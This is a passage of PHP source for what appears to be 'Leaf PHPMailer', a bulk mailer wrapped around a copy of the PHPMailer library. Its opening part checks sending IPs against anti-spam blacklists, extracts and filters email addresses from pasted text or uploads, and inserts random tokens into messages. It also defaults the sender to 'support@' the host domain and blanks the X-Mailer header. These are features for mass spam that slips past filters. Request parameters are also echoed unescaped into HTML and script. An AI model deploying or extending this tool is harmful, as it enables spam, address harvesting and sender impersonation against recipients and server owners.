    $text = str_replace("[-randomletters-]", randString('abcdefghijklmnopqrstuvwxyz'), $text);
    $text = str_replace("[-randomstring-]", randString('abcdefghijklmnopqrstuvwxyz0123456789'), $text);
    $text = str_replace("[-randomnumber-]", randString('0123456789'), $text);
    $text = str_replace("[-randommd5-]", md5(randString('abcdefghijklmnopqrstuvwxyz0123456789')), $text);
    return $text;  
}
function leafTrim($string){
	$string=urldecode($string);
    return stripslashes(trim($string));
}
function randString($consonants) {
    $length=rand(12,25);
    $password = '';
    for ($i = 0; $i < $length; $i++) {
            $password .= $consonants[(rand() % strlen($consonants))];
    }
    return $password;
}
function leafMailCheck($email){
    if (filter_var($email, FILTER_VALIDATE_EMAIL)) return true;
    else return false;
}
# Bulit-in BlackList Checker 
if(isset($_GET['check_ip'])){
    if (isset($_GET['host'])){
        $_GET['host']=explode(",", $_GET['host']);
        foreach ($_GET['host'] as $host) {
            if (checkdnsrr($_GET['check_ip'] . "." .  $host . ".", "A")) $check= "<font color='red'> Listed</font>";
            else $check= "<font color='green'> Clean</font>";
            print 'document.getElementById("'. $host.'").innerHTML = "'.$check.'";';
        }

        exit;
    }
    $dnsbl_lookup = array(
        "all.s5h.net",
        "b.barracudacentral.org",
        "bl.spamcop.net",
        "blacklist.woody.ch",
        "bogons.cymru.com",
        "cbl.abuseat.org",
        "cdl.anti-spam.org.cn",
        "combined.abuse.ch",
        "db.wpbl.info",
        "dnsbl-1.uceprotect.net",
        "dnsbl-2.uceprotect.net",
        "dnsbl-3.uceprotect.net",
        "dnsbl.anticaptcha.net",
        "dnsbl.dronebl.org",
        "dnsbl.inps.de",
        "dnsbl.sorbs.net",
        "drone.abuse.ch",
        "duinv.aupads.org",
        "dul.dnsbl.sorbs.net",
        "dyna.spamrats.com",
        "dynip.rothen.com",
        "http.dnsbl.sorbs.net",
        "ips.backscatterer.org",
        "ix.dnsbl.manitu.net",
        "korea.services.net",
        "misc.dnsbl.sorbs.net",
        "noptr.spamrats.com",
        "orvedb.aupads.org",
        "pbl.spamhaus.org",
        "proxy.bl.gweep.ca",
        "psbl.surriel.com",
        "relays.bl.gweep.ca",
        "relays.nether.net",
        "sbl.spamhaus.org",
        "short.rbl.jp",
        "singular.ttk.pte.hu",
        "smtp.dnsbl.sorbs.net",
        "socks.dnsbl.sorbs.net",
        "spam.abuse.ch",
        "spam.dnsbl.anonmails.de",
        "spam.dnsbl.sorbs.net",
        "spam.spamrats.com",
        "spambot.bls.digibase.ca",
        "spamrbl.imp.ch",
        "spamsources.fabel.dk",
        "ubl.lashback.com",
        "ubl.unsubscore.com",
        "virus.rbl.jp",
        "web.dnsbl.sorbs.net",
        "wormrbl.imp.ch",
        "xbl.spamhaus.org",
        "z.mailspike.net",
        "zen.spamhaus.org",
        "zombie.dnsbl.sorbs.net",
    );
    $reverse_ip = implode(".", array_reverse(explode(".", $_GET['check_ip'])));
    $dnsT = count($dnsbl_lookup);
    leafheader();
    print '<div class="container col-lg-6"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Blacklist Checker</small></h3>';
    Print "Checking <b>".$_GET['check_ip']."</b> in <b>$dnsT</b>  anti-spam databases:<br>";
    $dnsN="";
    print '<table >';
    for ($i=0; $i < $dnsT; $i=$i+10) { 
        $host="";
        $hosts="";
        for($j=$i; $j<$i+10;$j++){
            $host=$dnsbl_lookup[$j];
            if(!empty($host)){
                print "<tr> <td>$host</td> <td id='$host'>Checking ..</td></tr>";
                $hosts .="$host,";
            }
        }
        $dnsN.="<script src='?check_ip=$reverse_ip&host=".$hosts."' type='text/javascript'></script>";
    }

    print '</table></div>';
    print $dnsN;
    exit;
}
if(isset($_GET['emailfilter'])){

    if(!empty($_FILES['fileToUpload']['tmp_name'])){
        $_POST['emailList']= file_get_contents($_FILES["fileToUpload"]["tmp_name"]); 
    }
    $_POST['emailList']=strtolower($_POST['emailList']);
   if($_GET['emailfilter']=="ifram"){
        if ($_POST['resulttype'] == "download"){
            header("Content-Description: File Transfer"); 
            header("Content-Type: application/octet-stream"); 
            header("Content-Disposition: attachment; filename=emails".time().".txt");
        }
        else {
            header("Content-Type: text/plain");
        }
    if($_POST['submit']=="extract"){
        $pattern = '/[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,4}/';
        preg_match_all($pattern, $_POST['emailList'], $matches);
        foreach ($matches[0] as $email) {
            print $email."\n";
        }
    }
    elseif ($_POST['submit']=="filter") {
        $emails=explode("\n", $_POST['emailList']);
        $keywords=explode("\n", strtolower($_POST['keywords']));
        foreach ($emails as $email) {
            foreach ($keywords as $keyword ) {
                if(strstr($email, $keyword) ){
                    print $email."\n";
                     break;
                }
               
            }
        }

    }
    exit;
   }
   leafheader();
   print '<div class="container col-lg-4"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Email Filter</small></h3>';
   print '
    <form action="?emailfilter=ifram" method="POST" target="my-iframe" enctype="multipart/form-data" onsubmit=\'\'>
        <label for="emailList">Text </label><input type="file" name="fileToUpload" id="fileToUpload"> 
        or

        <textarea name="emailList" id="emailList" class="form-control" rows="7" id="textArea"></textarea>
      <div class="col-lg-12">
        <div class="radio">
          <label>
            <input type="radio" name="resulttype" id="resulttype" value="here" checked="">
            Show Result in this page
          </label>
        </div>
        <div class="radio">
          <label>
            <input type="radio" name="resulttype" id="resulttype" value="download">
            Download Result (for big numbers)
          </label>
        </div>
      </div>
            <legend><h4>Extract Email</h4></legend>
            Detecting every email (100%) and order them line by line <br><br>
        <button type="submit" name="submit" value="extract" class="btn btn-default btn-sm">Start</button>
            <legend><h4>Filter Emails</h4></legend>
        <label >Keywords <small> ex: gmail.com or .co.uk</small> </label><textarea name="keywords" id="keywords" class="form-control" rows="4" id="textArea">gmail.com
hotmail.com
yahoo.com
.co.uk</textarea><br>

            <button type="submit" name="submit" value="filter" class="btn btn-default btn-sm">Start</button>
    </form>
    <label >Result </label>
    <iframe style="border:none;width:100%;" name="my-iframe"  src="?emailfilter=ifram" ></iframe>
   ';
   exit;

}
$html="checked";
$utf8="selected";
$bit8="selected";

if($_POST['action']=="send" or $_POST['action']=="score"){

    $senderEmail=leafTrim($_POST['senderEmail']);
    $senderName=leafTrim($_POST['senderName']);
    $replyTo=leafTrim($_POST['replyTo']);
    $subject=leafTrim($_POST['subject']);
    $emailList=leafTrim($_POST['emailList']);
    $messageType=leafTrim($_POST['messageType']);
    $messageLetter=leafTrim($_POST['messageLetter']);
    $encoding = $_POST['encode'];
    $charset = $_POST['charset'];
    $html="";
    $utf8="";
    $bit8="";

    if($messageType==2) $plain="checked";
    else $html="checked";

    if($charset=="ISO-8859-1") $iso="selected";
    else $utf8="selected";

    if($encoding=="7bit") $bit7="selected";
    elseif($encoding=="binary") $binary="selected";
    elseif($encoding=="base64") $base64="selected";
    elseif($encoding=="quoted-printable") $quotedprintable="selected";
    else $bit8="selected";



}
if($_POST['action']=="view"){
	$viewMessage=leafTrim($_POST['messageLetter']);
	$viewMessage=leafClear($viewMessage,"user@domain.com");
	if ($_POST['messageType']==2){
		print "<pre>".htmlspecialchars($viewMessage)."</pre>";
	}
	else {
		print $viewMessage;
	}
	exit;
}



if(!isset($_POST['senderEmail'])){
    $senderEmail="support@".str_replace("www.", "", $_SERVER['HTTP_HOST']);
    if (!leafMailCheck($senderEmail)) $senderEmail="";
}

class PHPMailer
{
    /**
     * The PHPMailer Version number.
     * @var string
     */
    public $Version = '5.2.28';

    /**
     * Email priority.
     * Options: null (default), 1 = High, 3 = Normal, 5 = low.
     * When null, the header is not set at all.
     * @var integer
     */
    public $Priority = null;

    /**
     * The character set of the message.
     * @var string
     */
    public $CharSet = 'iso-8859-1';

    /**
     * The MIME Content-type of the message.
     * @var string
     */
    public $ContentType = 'text/plain';

    /**
     * The message encoding.
     * Options: "8bit", "7bit", "binary", "base64", and "quoted-printable".
     * @var string
     */
    public $Encoding = '8bit';

    /**
     * Holds the most recent mailer error message.
     * @var string
     */
    public $ErrorInfo = '';

    /**
     * The From email address for the message.
     * @var string
     */
    public $From = 'root@localhost';

    /**
     * The From name of the message.
     * @var string
     */
    public $FromName = 'Root User';

    /**
     * The Sender email (Return-Path) of the message.
     * If not empty, will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
     * @var string
     */
    public $Sender = '';

    /**
     * The Return-Path of the message.
     * If empty, it will be set to either From or Sender.
     * @var string
     * @deprecated Email senders should never set a return-path header;
     * it's the receiver's job (RFC5321 section 4.4), so this no longer does anything.
     * @link https://tools.ietf.org/html/rfc5321#section-4.4 RFC5321 reference
     */
    public $ReturnPath = '';

    /**
     * The Subject of the message.
     * @var string
     */
    public $Subject = '';

    /**
     * An HTML or plain text message body.
     * If HTML then call isHTML(true).
     * @var string
     */
    public $Body = '';

    /**
     * The plain-text message body.
     * This body can be read by mail clients that do not have HTML email
     * capability such as mutt & Eudora.
     * Clients that can read HTML will view the normal Body.
     * @var string
     */
    public $AltBody = '';

    /**
     * An iCal message part body.
     * Only supported in simple alt or alt_inline message types
     * To generate iCal events, use the bundled extras/EasyPeasyICS.php class or iCalcreator
     * @link http://sprain.ch/blog/downloads/php-class-easypeasyics-create-ical-files-with-php/
     * @link http://kigkonsult.se/iCalcreator/
     * @var string
     */
    public $Ical = '';

    /**
     * The complete compiled MIME message body.
     * @access protected
     * @var string
     */
    protected $MIMEBody = '';

    /**
     * The complete compiled MIME message headers.
     * @var string
     * @access protected
     */
    protected $MIMEHeader = '';

    /**
     * Extra headers that createHeader() doesn't fold in.
     * @var string
     * @access protected
     */
    protected $mailHeader = '';

    /**
     * Word-wrap the message body to this number of chars.
     * Set to 0 to not wrap. A useful value here is 78, for RFC2822 section 2.1.1 compliance.
     * @var integer
     */
    public $WordWrap = 0;

    /**
     * Which method to use to send mail.
     * Options: "mail", "sendmail", or "smtp".
     * @var string
     */
    public $Mailer = 'mail';

    /**
     * The path to the sendmail program.
     * @var string
     */
    public $Sendmail = '/usr/sbin/sendmail';

    /**
     * Whether mail() uses a fully sendmail-compatible MTA.
     * One which supports sendmail's "-oi -f" options.
     * @var boolean
     */
    public $UseSendmailOptions = true;

    /**
     * Path to PHPMailer plugins.
     * Useful if the SMTP class is not in the PHP include path.
     * @var string
     * @deprecated Should not be needed now there is an autoloader.
     */
    public $PluginDir = '';

    /**
     * The email address that a reading confirmation should be sent to, also known as read receipt.
     * @var string
     */
    public $ConfirmReadingTo = '';

    /**
     * The hostname to use in the Message-ID header and as default HELO string.
     * If empty, PHPMailer attempts to find one with, in order,
     * $_SERVER['SERVER_NAME'], gethostname(), php_uname('n'), or the value
     * 'localhost.localdomain'.
     * @var string
     */
    public $Hostname = '';

    /**
     * An ID to be used in the Message-ID header.
     * If empty, a unique id will be generated.
     * You can set your own, but it must be in the format "<id@domain>",
     * as defined in RFC5322 section 3.6.4 or it will be ignored.
     * @see https://tools.ietf.org/html/rfc5322#section-3.6.4
     * @var string
     */
    public $MessageID = '';

    /**
     * The message Date to be used in the Date header.
     * If empty, the current date will be added.
     * @var string
     */
    public $MessageDate = '';

    /**
     * SMTP hosts.
     * Either a single hostname or multiple semicolon-delimited hostnames.
     * You can also specify a different port
     * for each host by using this format: [hostname:port]
     * (e.g. "smtp1.example.com:25;smtp2.example.com").
     * You can also specify encryption type, for example:
     * (e.g. "tls://smtp1.example.com:587;ssl://smtp2.example.com:465").
     * Hosts will be tried in order.
     * @var string
     */
    public $Host = 'localhost';

    /**
     * The default SMTP server port.
     * @var integer
     * @TODO Why is this needed when the SMTP class takes care of it?
     */
    public $Port = 25;

    /**
     * The SMTP HELO of the message.
     * Default is $Hostname. If $Hostname is empty, PHPMailer attempts to find
     * one with the same method described above for $Hostname.
     * @var string
     * @see PHPMailer::$Hostname
     */
    public $Helo = '';

    /**
     * What kind of encryption to use on the SMTP connection.
     * Options: '', 'ssl' or 'tls'
     * @var string
     */
    public $SMTPSecure = '';

    /**
     * Whether to enable TLS encryption automatically if a server supports it,
     * even if `SMTPSecure` is not set to 'tls'.
     * Be aware that in PHP >= 5.6 this requires that the server's certificates are valid.
     * @var boolean
     */
    public $SMTPAutoTLS = true;

    /**
     * Whether to use SMTP authentication.
     * Uses the Username and Password properties.
     * @var boolean
     * @see PHPMailer::$Username
     * @see PHPMailer::$Password
     */
    public $SMTPAuth = false;

    /**
     * Options array passed to stream_context_create when connecting via SMTP.
     * @var array
     */
    public $SMTPOptions = array();

    /**
     * SMTP username.
     * @var string
     */
    public $Username = '';

    /**
     * SMTP password.
     * @var string
     */
    public $Password = '';

    /**
     * SMTP auth type.
     * Options are CRAM-MD5, LOGIN, PLAIN, NTLM, XOAUTH2, attempted in that order if not specified
     * @var string
     */
    public $AuthType = '';

    /**
     * SMTP realm.
     * Used for NTLM auth
     * @var string
     */
    public $Realm = '';

    /**
     * SMTP workstation.
     * Used for NTLM auth
     * @var string
     */
    public $Workstation = '';

    /**
     * The SMTP server timeout in seconds.
     * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
     * @var integer
     */
    public $Timeout = 300;

    /**
     * SMTP class debug output mode.
     * Debug output level.
     * Options:
     * * `0` No output
     * * `1` Commands
     * * `2` Data and commands
     * * `3` As 2 plus connection status
     * * `4` Low-level data output
     * @var integer
     * @see SMTP::$do_debug
     */
    public $SMTPDebug = 0;

    /**
     * How to handle debug output.
     * Options:
     * * `echo` Output plain-text as-is, appropriate for CLI
     * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output
     * * `error_log` Output to error log as configured in php.ini
     *
     * Alternatively, you can provide a callable expecting two params: a message string and the debug level:
     * <code>
     * $mail->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";};
     * </code>
     * @var string|callable
     * @see SMTP::$Debugoutput
     */
    public $Debugoutput = 'echo';

    /**
     * Whether to keep SMTP connection open after each message.
     * If this is set to true then to close the connection
     * requires an explicit call to smtpClose().
     * @var boolean
     */
    public $SMTPKeepAlive = false;

    /**
     * Whether to split multiple to addresses into multiple messages
     * or send them all in one message.
     * Only supported in `mail` and `sendmail` transports, not in SMTP.
     * @var boolean
     */
    public $SingleTo = false;

    /**
     * Storage for addresses when SingleTo is enabled.
     * @var array
     * @TODO This should really not be public
     */
    public $SingleToArray = array();

    /**
     * Whether to generate VERP addresses on send.
     * Only applicable when sending via SMTP.
     * @link https://en.wikipedia.org/wiki/Variable_envelope_return_path
     * @link http://www.postfix.org/VERP_README.html Postfix VERP info
     * @var boolean
     */
    public $do_verp = false;

    /**
     * Whether to allow sending messages with an empty body.
     * @var boolean
     */
    public $AllowEmpty = false;

    /**
     * The default line ending.
     * @note The default remains "\n". We force CRLF where we know
     *        it must be used via self::CRLF.
     * @var string
     */
    public $LE = "\n";

    /**
     * DKIM selector.
     * @var string
     */
    public $DKIM_selector = '';

    /**
     * DKIM Identity.
     * Usually the email address used as the source of the email.
     * @var string
     */
    public $DKIM_identity = '';

    /**
     * DKIM passphrase.
     * Used if your key is encrypted.
     * @var string
     */
    public $DKIM_passphrase = '';

    /**
     * DKIM signing domain name.
     * @example 'example.com'
     * @var string
     */
    public $DKIM_domain = '';

    /**
     * DKIM private key file path.
     * @var string
     */
    public $DKIM_private = '';

    /**
     * DKIM private key string.
     * If set, takes precedence over `$DKIM_private`.
     * @var string
     */
    public $DKIM_private_string = '';

    /**
     * Callback Action function name.
     *
     * The function that handles the result of the send email action.
     * It is called out by send() for each email sent.
     *
     * Value can be any php callable: http://www.php.net/is_callable
     *
     * Parameters:
     *   boolean $result        result of the send action
     *   array   $to            email addresses of the recipients
     *   array   $cc            cc email addresses
     *   array   $bcc           bcc email addresses
     *   string  $subject       the subject
     *   string  $body          the email body
     *   string  $from          email address of sender
     * @var string
     */
    public $action_function = '';

    /**
     * What to put in the X-Mailer header.
     * Options: An empty string for PHPMailer default, whitespace for none, or a string to use
     * @var string
     */
    public $XMailer = ' ';

    /**
     * Which validator to use by default when validating email addresses.
     * May be a callable to inject your own validator, but there are several built-in validators.
     * @see PHPMailer::validateAddress()
     * @var string|callable
     * @static
     */
    public static $validator = 'auto';

    /**
     * An instance of the SMTP sender class.
     * @var SMTP
     * @access protected
     */
    protected $smtp = null;

    /**
     * The array of 'to' names and addresses.
     * @var array
     * @access protected
     */
    protected $to = array();

    /**
     * The array of 'cc' names and addresses.
     * @var array
     * @access protected
     */
    protected $cc = array();

    /**
     * The array of 'bcc' names and addresses.
     * @var array
     * @access protected
     */
    protected $bcc = array();

    /**
     * The array of reply-to names and addresses.
     * @var array
     * @access protected
     */
    protected $ReplyTo = array();

    /**
     * An array of all kinds of addresses.
     * Includes all of $to, $cc, $bcc
     * @var array
     * @access protected
     * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
     */
    protected $all_recipients = array();

    /**
     * An array of names and addresses queued for validation.
     * In send(), valid and non duplicate entries are moved to $all_recipients
     * and one of $to, $cc, or $bcc.
     * This array is used only for addresses with IDN.
     * @var array
     * @access protected
     * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
     * @see PHPMailer::$all_recipients
     */
    protected $RecipientsQueue = array();

    /**
     * An array of reply-to names and addresses queued for validation.
     * In send(), valid and non duplicate entries are moved to $ReplyTo.
     * This array is used only for addresses with IDN.
     * @var array
     * @access protected
     * @see PHPMailer::$ReplyTo
     */
    protected $ReplyToQueue = array();

    /**
     * The array of attachments.
     * @var array
     * @access protected
     */
    protected $attachment = array();

    /**
     * The array of custom headers.
     * @var array
     * @access protected
     */
    protected $CustomHeader = array();

    /**
     * The most recent Message-ID (including angular brackets).
     * @var string
     * @access protected
     */
    protected $lastMessageID = '';

    /**
     * The message's MIME type.
     * @var string
     * @access protected
     */
    protected $message_type = '';

    /**
     * The array of MIME boundary strings.
     * @var array
     * @access protected
     */
    protected $boundary = array();

    /**
     * The array of available languages.
     * @var array
     * @access protected
     */
    protected $language = array();

    /**
     * The number of errors encountered.
     * @var integer
     * @access protected
     */
    protected $error_count = 0;

    /**
     * The S/MIME certificate file path.
     * @var string
     * @access protected
     */
    protected $sign_cert_file = '';

    /**
     * The S/MIME key file path.
     * @var string
     * @access protected
     */
    protected $sign_key_file = '';

    /**
     * The optional S/MIME extra certificates ("CA Chain") file path.
     * @var string
     * @access protected
     */
    protected $sign_extracerts_file = '';

    /**
     * The S/MIME password for the key.
     * Used only if the key is encrypted.
     * @var string
     * @access protected
     */
    protected $sign_key_pass = '';

    /**
     * Whether to throw exceptions for errors.
     * @var boolean
     * @access protected
     */
    protected $exceptions = false;

    /**
     * Unique ID used for message ID and boundaries.
     * @var string
     * @access protected
     */
    protected $uniqueid = '';

    /**
     * Error severity: message only, continue processing.
     */
    const STOP_MESSAGE = 0;

    /**
     * Error severity: message, likely ok to continue processing.
     */
    const STOP_CONTINUE = 1;

    /**
     * Error severity: message, plus full stop, critical error reached.
     */
    const STOP_CRITICAL = 2;

    /**
     * SMTP RFC standard line ending.
     */
    const CRLF = "\r\n";

    /**
     * The maximum line length allowed by RFC 2822 section 2.1.1
     * @var integer
     */
    const MAX_LINE_LENGTH = 998;

    /**
     * Constructor.
     * @param boolean $exceptions Should we throw external exceptions?
     */
    public function __construct($exceptions = null)
    {
        if ($exceptions !== null) {
            $this->exceptions = (boolean)$exceptions;
        }
        //Pick an appropriate debug output format automatically
        $this->Debugoutput = (strpos(PHP_SAPI, 'cli') !== false ? 'echo' : 'html');
    }

    /**
     * Destructor.
     */
    public function __destruct()
    {
        //Close any open SMTP connection nicely
        $this->smtpClose();
    }

    /**
     * Call mail() in a safe_mode-aware fashion.
     * Also, unless sendmail_path points to sendmail (or something that
     * claims to be sendmail), don't pass params (not a perfect fix,
     * but it will do)
     * @param string $to To
     * @param string $subject Subject
     * @param string $body Message Body
     * @param string $header Additional Header(s)
     * @param string $params Params
     * @access private
     * @return boolean
     */
    private function mailPassthru($to, $subject, $body, $header, $params)
    {
        //Check overloading of mail function to avoid double-encoding
        if (ini_get('mbstring.func_overload') & 1) {
            $subject = $this->secureHeader($subject);
        } else {
            $subject = $this->encodeHeader($this->secureHeader($subject));
        }

        //Can't use additional_parameters in safe_mode, calling mail() with null params breaks
        //@link http://php.net/manual/en/function.mail.php
        if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {
            $result = @mail($to, $subject, $body, $header);
        } else {
            $result = @mail($to, $subject, $body, $header, $params);
        }
        return $result;
    }
    /**
     * Output debugging info via user-defined method.
     * Only generates output if SMTP debug output is enabled (@see SMTP::$do_debug).
     * @see PHPMailer::$Debugoutput
     * @see PHPMailer::$SMTPDebug
     * @param string $str
     */
    protected function edebug($str)
    {
        if ($this->SMTPDebug <= 0) {
            return;
        }
        //Avoid clash with built-in function names
        if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
            call_user_func($this->Debugoutput, $str, $this->SMTPDebug);
            return;
        }
        switch ($this->Debugoutput) {
            case 'error_log':
                //Don't output, just log
                error_log($str);
                break;
            case 'html':
                //Cleans up output a bit for a better looking, HTML-safe output
                echo htmlentities(
                    preg_replace('/[\r\n]+/', '', $str),
                    ENT_QUOTES,
                    'UTF-8'
                )
                . "<br>\n";
                break;
            case 'echo':
            default:
                //Normalize line breaks
                $str = preg_replace('/\r\n?/ms', "\n", $str);
                echo gmdate('Y-m-d H:i:s') . "\t" . str_replace(
                    "\n",
                    "\n                   \t                  ",
                    trim($str)
                ) . "\n";
        }
    }

    /**
     * Send messages using SMTP.
     * @return void
     */
    public function isSMTP()
    {
        $this->Mailer = 'smtp';
    }

    /**
     * Send messages using PHP's mail() function.
     * @return void
     */
    public function isMail()
    {
        $this->Mailer = 'mail';
    }

    /**
     * Send messages using $Sendmail.
     * @return void
     */
    public function isSendmail()
    {
        $ini_sendmail_path = ini_get('sendmail_path');

        if (!stristr($ini_sendmail_path, 'sendmail')) {
            $this->Sendmail = '/usr/sbin/sendmail';
        } else {
            $this->Sendmail = $ini_sendmail_path;
        }
        $this->Mailer = 'sendmail';
    }

    /**
     * Send messages using qmail.
     * @return void
     */
    public function isQmail()
    {
        $ini_sendmail_path = ini_get('sendmail_path');

        if (!stristr($ini_sendmail_path, 'qmail')) {
            $this->Sendmail = '/var/qmail/bin/qmail-inject';
        } else {
            $this->Sendmail = $ini_sendmail_path;
        }
        $this->Mailer = 'qmail';
    }

    /**
     * Add a "To" address.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addAddress($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('to', $address, $name);
    }

    /**
     * Add a "CC" address.
     * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addCC($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('cc', $address, $name);
    }

    /**
     * Add a "BCC" address.
     * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addBCC($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('bcc', $address, $name);
    }

    /**
     * Add a "Reply-To" address.
     * @param string $address The email address to reply to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addReplyTo($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('Reply-To', $address, $name);
    }

    /**
     * Add an address to one of the recipient arrays or to the ReplyTo array. Because PHPMailer
     * can't validate addresses with an IDN without knowing the PHPMailer::$CharSet (that can still
     * be modified after calling this function), addition of such addresses is delayed until send().
     * Addresses that have been added already return false, but do not throw exceptions.
     * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
     * @param string $address The email address to send, resp. to reply to
     * @param string $name
     * @throws phpmailerException
     * @return boolean true on success, false if address already used or invalid in some way
     * @access protected
     */
    protected function addOrEnqueueAnAddress($kind, $address, $name)
    {
        $address = trim($address);
        $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
        if (($pos = strrpos($address, '@')) === false) {
            // At-sign is misssing.
            $error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        $params = array($kind, $address, $name);
        // Enqueue addresses with IDN until we know the PHPMailer::$CharSet.
        if ($this->has8bitChars(substr($address, ++$pos)) and $this->idnSupported()) {
            if ($kind != 'Reply-To') {
                if (!array_key_exists($address, $this->RecipientsQueue)) {
                    $this->RecipientsQueue[$address] = $params;
                    return true;
                }
            } else {
                if (!array_key_exists($address, $this->ReplyToQueue)) {
                    $this->ReplyToQueue[$address] = $params;
                    return true;
                }
            }
            return false;
        }
        // Immediately add standard addresses without IDN.
        return call_user_func_array(array($this, 'addAnAddress'), $params);
    }

    /**
     * Add an address to one of the recipient arrays or to the ReplyTo array.
     * Addresses that have been added already return false, but do not throw exceptions.
     * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
     * @param string $address The email address to send, resp. to reply to
     * @param string $name
     * @throws phpmailerException
     * @return boolean true on success, false if address already used or invalid in some way
     * @access protected
     */
    protected function addAnAddress($kind, $address, $name = '')
    {
        if (!in_array($kind, array('to', 'cc', 'bcc', 'Reply-To'))) {
            $error_message = $this->lang('Invalid recipient kind: ') . $kind;
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        if (!$this->validateAddress($address)) {
            $error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        if ($kind != 'Reply-To') {
            if (!array_key_exists(strtolower($address), $this->all_recipients)) {
                array_push($this->$kind, array($address, $name));
                $this->all_recipients[strtolower($address)] = true;
                return true;
            }
        } else {
            if (!array_key_exists(strtolower($address), $this->ReplyTo)) {
                $this->ReplyTo[strtolower($address)] = array($address, $name);
                return true;
            }
        }
        return false;
    }

    /**
     * Parse and validate a string containing one or more RFC822-style comma-separated email addresses
     * of the form "display name <address>" into an array of name/address pairs.
     * Uses the imap_rfc822_parse_adrlist function if the IMAP extension is available.
     * Note that quotes in the name part are removed.
     * @param string $addrstr The address list string
     * @param bool $useimap Whether to use the IMAP extension to parse the list
     * @return array
     * @link http://www.andrew.cmu.edu/user/agreen1/testing/mrbs/web/Mail/RFC822.php A more careful implementation
     */
    public function parseAddresses($addrstr, $useimap = true)
    {
        $addresses = array();
        if ($useimap and function_exists('imap_rfc822_parse_adrlist')) {
            //Use this built-in parser if it's available
            $list = imap_rfc822_parse_adrlist($addrstr, '');
            foreach ($list as $address) {
                if ($address->host != '.SYNTAX-ERROR.') {
                    if ($this->validateAddress($address->mailbox . '@' . $address->host)) {
                        $addresses[] = array(
                            'name' => (property_exists($address, 'personal') ? $address->personal : ''),
                            'address' => $address->mailbox . '@' . $address->host
                        );
                    }
                }
            }
        } else {
            //Use this simpler parser
            $list = explode(',', $addrstr);
            foreach ($list as $address) {
                $address = trim($address);
                //Is there a separate name part?
                if (strpos($address, '<') === false) {
                    //No separate name, just use the whole thing
                    if ($this->validateAddress($address)) {
                        $addresses[] = array(
                            'name' => '',
                            'address' => $address
                        );
                    }
                } else {
                    list($name, $email) = explode('<', $address);
                    $email = trim(str_replace('>', '', $email));
                    if ($this->validateAddress($email)) {
                        $addresses[] = array(
                            'name' => trim(str_replace(array('"', "'"), '', $name)),
                            'address' => $email
                        );
                    }
                }
            }
        }
        return $addresses;
    }

    /**
     * Sets message type to HTML or plain.
     * @param boolean $isHtml True for HTML mode.
     * @return void
     */
    public function isHTML($isHtml = true)
    {
        if ($isHtml) {
            $this->ContentType = 'text/html';
        } 
        else {
            $this->ContentType = 'text/plain';
        }

    }

    /**
     * Set the From and FromName properties.
     * @param string $address
     * @param string $name
     * @param boolean $auto Whether to also set the Sender address, defaults to true
     * @throws phpmailerException
     * @return boolean
     */
    public function setFrom($address, $name = '', $auto = true)
    {
        $address = trim($address);
        $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
        // Don't validate now addresses with IDN. Will be done in send().
        if (($pos = strrpos($address, '@')) === false or
            (!$this->has8bitChars(substr($address, ++$pos)) or !$this->idnSupported()) and
            !$this->validateAddress($address)) {
            $error_message = $this->lang('invalid_address') . " (setFrom) $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        $this->From = $address;
        $this->FromName = $name;
        if ($auto) {
            if (empty($this->Sender)) {
                $this->Sender = $address;
            }
        }
        return true;
    }

    /**
     * Return the Message-ID header of the last email.
     * Technically this is the value from the last time the headers were created,
     * but it's also the message ID of the last sent message except in
     * pathological cases.
     * @return string
     */
    public function getLastMessageID()
    {
        return $this->lastMessageID;
    }

    /**
     * Check that a string looks like an email address.
     * @param string $address The email address to check
     * @param string|callable $patternselect A selector for the validation pattern to use :
     * * `auto` Pick best pattern automatically;
     * * `pcre8` Use the squiloople.com pattern, requires PCRE > 8.0, PHP >= 5.3.2, 5.2.14;
     * * `pcre` Use old PCRE implementation;
     * * `php` Use PHP built-in FILTER_VALIDATE_EMAIL;
     * * `html5` Use the pattern given by the HTML5 spec for 'email' type form input elements.
     * * `noregex` Don't use a regex: super fast, really dumb.
     * Alternatively you may pass in a callable to inject your own validator, for example:
     * PHPMailer::validateAddress('user@example.com', function($address) {
     *     return (strpos($address, '@') !== false);
     * });
     * You can also set the PHPMailer::$validator static to a callable, allowing built-in methods to use your validator.
     * @return boolean
     * @static
     * @access public
     */
